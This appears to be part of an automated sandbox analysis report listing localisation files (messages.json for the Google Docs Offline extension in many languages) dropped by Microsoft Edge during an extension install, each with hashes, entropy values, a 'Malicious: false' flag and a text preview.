SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
